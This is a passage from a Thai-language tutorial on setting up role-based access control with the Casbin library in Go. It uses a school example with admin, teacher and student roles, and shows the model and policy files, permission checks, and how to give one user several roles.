p = sub, obj, act

[role_definition]
g = _, _

[policy_effect]
e = some(where (p.eft == allow))

[matchers]
m = g(r.sub, p.sub) &amp;&amp; r.obj == p.obj &amp;&amp; r.act == p.act
</code></pre><figcaption>model.conf</figcaption></figure><p>[request_definition] &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32; (&#xE40;&#xE0A;&#xE48;&#xE19; subject, object, action)</p><p>[policy_definition] &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22; (Policy) &#xE27;&#xE48;&#xE32; Role &#xE43;&#xE14;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE01;&#xE23;&#xE30;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE43;&#xE14;</p><p>[role_definition] &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE21;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; subject &#xE01;&#xE31;&#xE1A; role &#xE40;&#xE0A;&#xE48;&#xE19; g, alice, admin</p><p>[matchers] &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE40;&#xE0A;&#xE47;&#xE04;&#xE27;&#xE48;&#xE32; subject &#xE21;&#xE35; Role &#xE17;&#xE35;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; object &#xE01;&#xE31;&#xE1A; action &#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p>2. policy.csv</p><p>File &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22; (Policy) &#xE27;&#xE48;&#xE32; Role &#xE43;&#xE14;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE43;&#xE14;&#xE44;&#xE14;&#xE49;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE44;&#xE27;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code># &#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE30;&#xE1A;&#xE1A; (admin)
p, admin, course, create
p, admin, course, update
p, admin, course, delete
p, admin, course, view
p, admin, student, view

# &#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE32;&#xE08;&#xE32;&#xE23;&#xE22;&#xE4C; (teacher)
p, teacher, course, view
p, teacher, grade, update
p, teacher, student, view
p, teacher, grade, view

# &#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; (student)
p, student, course, view
p, student, grade, view

# &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE21;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE31;&#xE1A; Role
g, alice, admin
g, bob, teacher
g, charlie, student
</code></pre><figcaption>policy.csv</figcaption></figure><p>3. &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Code &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Casbin</p><p>Code &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Casbin enforcer &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE15;&#xE32;&#xE21;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE19;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; enforcer &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE42;&#xE21;&#xE40;&#xE14;&#xE25; (<code>model.conf</code>) &#xE41;&#xE25;&#xE30;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22; (<code>policy.csv</code>)</p><p>&#xE43;&#xE0A;&#xE49; <code>e.Enforce(sub, obj, act)</code> &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; &#xE40;&#xE0A;&#xE48;&#xE19; <code>e.Enforce(&quot;alice&quot;, &quot;course&quot;, &quot;create&quot;)</code> &#xE08;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; alice (&#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Role admin &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;) &#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; (<code>create</code>) &#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32; (<code>course</code>) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p>&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE27;&#xE48;&#xE32;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE04;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE01;&#xE23;&#xE30;&#xE17;&#xE33; action &#xE01;&#xE31;&#xE1A;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><figure class="kg-card kg-code-card"><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;

	&quot;github.com/casbin/casbin/v2&quot;
)

func main() {
	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Casbin enforcer &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; model.conf &#xE41;&#xE25;&#xE30; policy.csv
	e, err := casbin.NewEnforcer(&quot;model.conf&quot;, &quot;policy.csv&quot;)
	if err != nil {
		log.Fatalf(&quot;Error creating enforcer: %v&quot;, err)
	}

	// &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;

	// 1. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; alice (admin) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err := e.Enforce(&quot;alice&quot;, &quot;course&quot;, &quot;create&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can alice create course? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; true

	// 2. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; bob (teacher) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE25;&#xE1A;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; (teacher &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE25;&#xE1A;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32;)
	ok, err = e.Enforce(&quot;bob&quot;, &quot;course&quot;, &quot;delete&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can bob delete course? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; false

	// 3. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; bob (teacher) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;bob&quot;, &quot;course&quot;, &quot;view&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can bob view course? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; true

	// 4. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; charlie (student) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE40;&#xE01;&#xE23;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE19;&#xE40;&#xE2D;&#xE07;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;charlie&quot;, &quot;grade&quot;, &quot;view&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can charlie view grade? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; true

	// 5. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; charlie (student) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE40;&#xE01;&#xE23;&#xE14;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;charlie&quot;, &quot;grade&quot;, &quot;update&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can charlie update grade? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; false
}
</code></pre><figcaption>main.go</figcaption></figure><p> </p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-06.40.05.jpg" class="kg-image" alt loading="lazy" width="2000" height="2151" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-04-at-06.40.05.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-04-at-06.40.05.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-04-at-06.40.05.jpg 1600w, https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-06.40.05.jpg 2284w" sizes="(min-width: 720px) 720px"></figure><p>Casbin &#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; (user) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22; role &#xE44;&#xE14;&#xE49; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE25;&#xE44;&#xE01;&#xE02;&#xE2D;&#xE07; group definition (&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE14;&#xE49;&#xE27;&#xE22; <code>g</code>)</p><p>&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; policy.csv &#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22; role &#xE44;&#xE14;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code># &#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE30;&#xE1A;&#xE1A; (admin)
p, admin, course, create
p, admin, course, update
p, admin, course, delete
p, admin, course, view
p, admin, student, view

# &#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE32;&#xE08;&#xE32;&#xE23;&#xE22;&#xE4C; (teacher)
p, teacher, course, view
p, teacher, grade, update
p, teacher, student, view
p, teacher, grade, view

# &#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; (student)
p, student, course, view
p, student, grade, view

# &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE21;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE31;&#xE1A; Role
g, alice, admin
g, bob, teacher
g, charlie, student

# &#xE2A;&#xE21;&#xE21;&#xE38;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; nuttachot &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22; role &#xE04;&#xE37;&#xE2D; teacher &#xE41;&#xE25;&#xE30; student
g, nuttachot, teacher
g, nuttachot, student
</code></pre><figcaption>policy.csv</figcaption></figure><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; nuttachot &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE17;&#xE31;&#xE49;&#xE07;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; teacher &#xE41;&#xE25;&#xE30; student</p><figure class="kg-card kg-code-card"><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;

	&quot;github.com/casbin/casbin/v2&quot;
)

func main() {
	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Casbin enforcer &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; model.conf &#xE41;&#xE25;&#xE30; policy.csv
	e, err := casbin.NewEnforcer(&quot;model.conf&quot;, &quot;policy.csv&quot;)
	if err != nil {
		log.Fatalf(&quot;Error creating enforcer: %v&quot;, err)
	}

	// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; nuttachot &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; role teacher &#xE41;&#xE25;&#xE30; student

	// 1. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; nuttachot &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32; (teacher: view) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err := e.Enforce(&quot;nuttachot&quot;, &quot;course&quot;, &quot;view&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can nuttachot view course? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; true (&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; teacher &#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; view course)

	// 2. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; nuttachot &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE23;&#xE14; (teacher: update grade) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;nuttachot&quot;, &quot;grade&quot;, &quot;update&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can nuttachot update grade? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; true (&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; teacher &#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; update grade)

	// 3. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; nuttachot &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE40;&#xE01;&#xE23;&#xE14; (student: view grade) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;nuttachot&quot;, &quot;grade&quot;, &quot;view&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can nuttachot view grade? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; true (&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; student &#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; view grade)

	// 4. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; nuttachot &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE25;&#xE1A;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32; (teacher/student &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; delete) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;nuttachot&quot;, &quot;course&quot;, &quot;delete&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can nuttachot delete course? %v\n&quot;, ok) // &#xE04;&#xE27;&#xE23;&#xE44;&#xE14;&#xE49; false
}
</code></pre><figcaption>main.go</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-06.54.26.jpg" class="kg-image" alt loading="lazy" width="2000" height="2151" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-04-at-06.54.26.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-04-at-06.54.26.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-04-at-06.54.26.jpg 1600w, https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-06.54.26.jpg 2284w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22; role &#xE44;&#xE14;&#xE49; (&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE04;&#xE37;&#xE2D; sajjaporn &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; role &#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE31;&#xE49;&#xE07; teacher &#xE41;&#xE25;&#xE30; student)</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Function <code>e.AddGroupingPolicy(user, role)</code>&#xE41;&#xE25;&#xE30; <code>e.SavePolicy()</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE21;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE31;&#xE1A; role &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE40;&#xE1B;&#xE49;&#xE32;&#xE2B;&#xE21;&#xE32;&#xE22; &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; group definition (&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE14;&#xE49;&#xE27;&#xE22; <code>g</code>) &#xE25;&#xE07;&#xE43;&#xE19; File <code>policy.csv</code> &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>g, sajjaporn, teacher
g, sajjaporn, student
</code></pre><figcaption>policy.csv</figcaption></figure><p>&#xE0B;&#xE36;&#xE48;&#xE07; <code>AddGroupingPolicy</code> &#xE08;&#xE30;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE25;&#xE07;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33; &#xE2A;&#xE48;&#xE27;&#xE19; <code>e.SavePolicy()</code> &#xE08;&#xE30;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE25;&#xE07;&#xE43;&#xE19; File <code>policy.csv</code></p><figure class="kg-card kg-code-card"><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;

	&quot;github.com/casbin/casbin/v2&quot;
)

// &#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;
func printPolicies(e *casbin.Enforcer) {
	policies, err := e.GetPolicy()
	if err != nil {
		fmt.Printf(&quot;Error retrieving policies: %v\n&quot;, err)
		return
	}
